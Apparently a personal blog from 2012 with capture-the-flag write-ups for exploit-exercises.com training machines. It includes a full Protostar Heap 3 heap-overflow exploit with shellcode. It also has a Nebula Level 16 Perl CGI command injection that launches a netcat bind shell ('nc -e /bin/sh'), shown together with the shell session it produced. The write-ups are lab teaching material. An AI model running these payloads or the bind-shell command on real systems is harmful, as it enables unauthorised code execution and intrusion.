Friday, June 8, 2012

Protostar Heap 3 Solution

I spent the last week working on protostar from www.exploit-exercises.com, and have completed all the questions except Final 2.  I have roughly mapped out an approach for this last question, although I am hoping for some new ideas to strike me in the next few days, or I will need to start chopping up my shellcode into pieces...

(Btw, the source code given for Final 2 does not appear to completely match the binary.  However, the key parts do appear to operate similarly and so should still be exploitable.)

Anyway, I thought I would write about Heap 3.  I will just be presenting the solution while pointing out a couple of tricky parts.  Going through the solution in detail would take up too much time and space.

Before that, below are a couple of articles that helped me understand heap overflows.  I would say they are essential reading.  The second article is directly relevant to Heap 3.
  1. w00w00 on Heap Overflows by Matt Conover (a.k.a. Shok) & w00w00 Security Team
  2. Vudo malloc tricks by Michel "MaXX" Kaempf
If you are relatively new to heap overflows, I would suggest working on Gera's Advanced Buffer Overflow Challenge 9 first.  It's a simpler version of Heap 3.  However, the catch is that you need an old Linux OS to exploit the "vulnerable" program for challenge 9.  I used Slackware 8.0.

Now, let's get to Heap 3.  The source code for this level is shown below:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
 printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
 char *a, *b, *c;

 a = malloc(32);
 b = malloc(32);
 c = malloc(32);

 strcpy(a, argv[1]);
 strcpy(b, argv[2]);
 strcpy(c, argv[3]);

 free(c);
 free(b);
 free(a);

 printf("dynamite failed?\n");
}
The objective is to redirect execution to the winner() function.  The solution and output are as follows:
user@protostar:/opt/protostar/bin$ /opt/protostar/bin/heap3 $(python -c 'print "\x41" * 32 + "\xfc\xff\xff\xff" + "\xfc\xff\xff\xff"') $(python -c 'print "\xbe\xba\xfe\xca" + "\x50\xf7\xff\xbf" + "\x60\xc0\x04\x08"') $(python -c 'print "\x90" * 8 + "\xeb\x0f" + "thisisjustjunk" + "\x90" * 2 + "\x68\x76\xdc\xea\xb7\x68\x64\x88\x04\x08\xc3"')
dynamite failed?
that wasn't too bad now, was it? @ 1339155574
Here's a brief explanation of the various values.  I will be using several terms from the above-mentioned article by Maxx.
  • The 2nd \xfc\xff\xff\xff - this is the size field of the second chunk.  Its least significant bit has to be a zero, which is provided by the 'c'.  It tricks dlmalloc into thinking that the previous chunk is free, and activates the unlink() function.  This also doubles up as the prev_size field of the fake chunk, which is also the start of the fake chunk.
  • The 1st \xfc\xff\xff\xff - this is the prev_size field of the second chunk.  This will be used by dlmalloc to calculate the location of the start of the fake chunk.
  • \xbe\xba\xfe\xca - this is the babe in the cafe.  well seriously, it can be 4 bytes of anything that doesn't break the exploit.  It is the size field of the fake chunk, which isn't important here.
  • \x50\xf7\xff\xbf - this is the address of the location you want to overwrite at, minus 12.  This is one of the trickier parts I mentioned.  Usually I would try to use the address of a relevant function pointer found in the GOT.  In this case, I didn't manage to overwrite puts() successfully.  So I used a location on the stack which contained the ret address.  This location, found via gdb, is 0xbffff75c.  Then, 0xbffff75c - 12 is 0xbffff750.  Why is there a need to minus 12?  Good question.  And there's a great answer for it in Maxx's article.  Subsequently, the value at this stack location will be popped into EIP, allowing us to redirect execution.
  • \x60\xc0\x04\x08 - this is the value you want to overwrite with at the location above.  Put simply, it is the location of your shellcode.  Here, I used the address of buffer c + 8.  Note that the + 8 may not be necessary.  I put it in to address what appears to be an alignment issue, which could be due to me screwing up somewhere in the exploit.
Here, I would like to point out the second "tricky" issue I came across.  In all of the admittedly few heap overflow exploit exercises I have done, I did the overwrites and setting up of the fake chunk via a single buffer.  For Heap 3, however, due to the order of the strcpy() functions, the setting up of the fake chunk requires the use of both buffers a and b.  Anyway, whatever works, works.  The important thing is to get the correct bytes into the correct places on the heap.

Finally, we reach argv[3], which will be copied into buffer c.  It contains our shellcode.  The nops are really just acting as a buffer, to address any minor miscalculations I made.  The \xeb\x0f is necessary to jump over the parts of the buffer that will be clobbered by the unlink() function.  Again, please refer to Maxx's article for details.  Usually, a \xeb\x0a would suffice.  However, it seems (I did not investigate further) that \x0a is a bad character that screws up the exploit, hence I used \x0f instead.

The key part of the shellcode is simply:
  • \x68\x76\xdc\xea\xb7 - push 0xb7eadc76.  This was the original value from the stack location we performed the overwrite at.  After executing winner(), we want it to return here and exit properly.
  • \x68\x64\x88\x04\x08 - push 0x08048864, this is the location of winner().  winner()'s address can be found using objdump.
  • \xc3 - retn
Well, that's it for Heap 3.  I will get quite busy soon, but I will see if I can find time to finish up Final 2 and the Fusion challenges.

Friday, June 1, 2012

Nebula Level 16 Solution

I started working on Nebula at exploit-exercises.com a couple of days ago.  Of the 17 levels solved thus far, I found level 16 to be the most laborious of all, and I derived great satisfaction from solving it.  In addition, I just did a quick online search and could not find any working solution for this level.  Thus I decided to do a quick walkthrough of it.

This challenge requires you to successfully exploit a server application listening on port 1616 that is running the following code:

#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # convert to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);

if($pw =~ $password) {
  return 1;
}
  }
return 0;
}
sub htmlz {
print("<html><head><title>Login results</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
    } else {
  print("Your login failed<br/>");
  } print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));

Looking through the source code, it appears that the following line, once we get through all the checks and whatnot, is vulnerable to remote code execution:
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
To get our crafted input to this line, we need to work around 3 key restrictions.  They are:

  1. No lowercase letters are allowed, as they will all be converted to uppercase letters.
  2. No spaces are allowed, as everything after a space will be stripped away.
  3. Our input has to be crafted in such a way that it is successfully executed after egrep.

Due to these restrictions, it is likely that our crafted input has to be short and sweet.  Let's simplify our work by putting the bulk of our command into a script, shown below.  I chose to go with netcat here.

level16@nebula:~$ cat /tmp/MYSCRIPT
#!/bin/sh
nc.traditional -lvnp 4444 -e /bin/sh
Now let's figure out how to work around the first restriction of no lowercase letters.  We need to craft something with the effect of "/tmp/MYSCRIPT".  Obviously, "tmp" is the problem here, as the application will change it into "TMP" and prevent the running of our script.  Fortunately for us, bash provides us with an extremely elegant solution.  In fact, you should have come across this particular feature of bash even if you have been using bash for only a week.  With that, I shall leave you to ponder upon it for a while.


*                        *                        *


I will now briefly go through the second and third restrictions.  Although overcoming the second restriction is quite easy, the third restriction is a monster.  I was never a fan of perl to begin with, and it took me the better part of the day just to verify the functions and to find the correct combination of ", -, ` and % 00.  (By the way, there isn't supposed to be a space between % and 00.  I was forced to type the null byte in this way as blogspot is unable to properly display it.)

In the end though, I managed to find the solution and slay the beast (spoiler alert!).
root@bt:~# nc 192.168.0.100 1616
GET /index.cgi?password=random&username=-"`/*/MYSCRIPT`% 00

Open another window and put on the finishing touch:
root@bt:~# nc 192.168.0.100 4444
id
uid=983(flag16) gid=983(flag16) groups=983(flag16)
getflag
You have successfully executed getflag on a target account


Update (1 Jun): All 20 levels of Nebula are done!  I may do a write-up on Level 18 later.  On to Protostar!

Gera's Insecure Programming Challenges and exploit-exercises.com

I came across Gera's Insecure Programming Challenges a couple of weeks ago and decided to work on them. Thus far, I have gone through all the Warming Up and Advanced Buffer Overflows challenges.  Unfortunately, a few of them could only be completed on older OSes or on non-x86 machines.  Nevertheless, they provided a good opportunity for me to practice ROP, to bypass ASLR and non-executable stacks on newer Linux OSes.

A couple of days ago, I also came across exploit-exercises.com.  They provide 3 different virtual machines, each with challenges of varying difficulty.  According to the website, they are, in order of difficulty: Nebula, Protostar and Fusion.

I have since completed Levels 0 to 16 on Nebula, getting shells for the targeted flagXX user on each level.  I will probably do a write-up on Level 16 soon.

So far, most of the challenges are interesting, and I can't wait to try out Protostar and Fusion.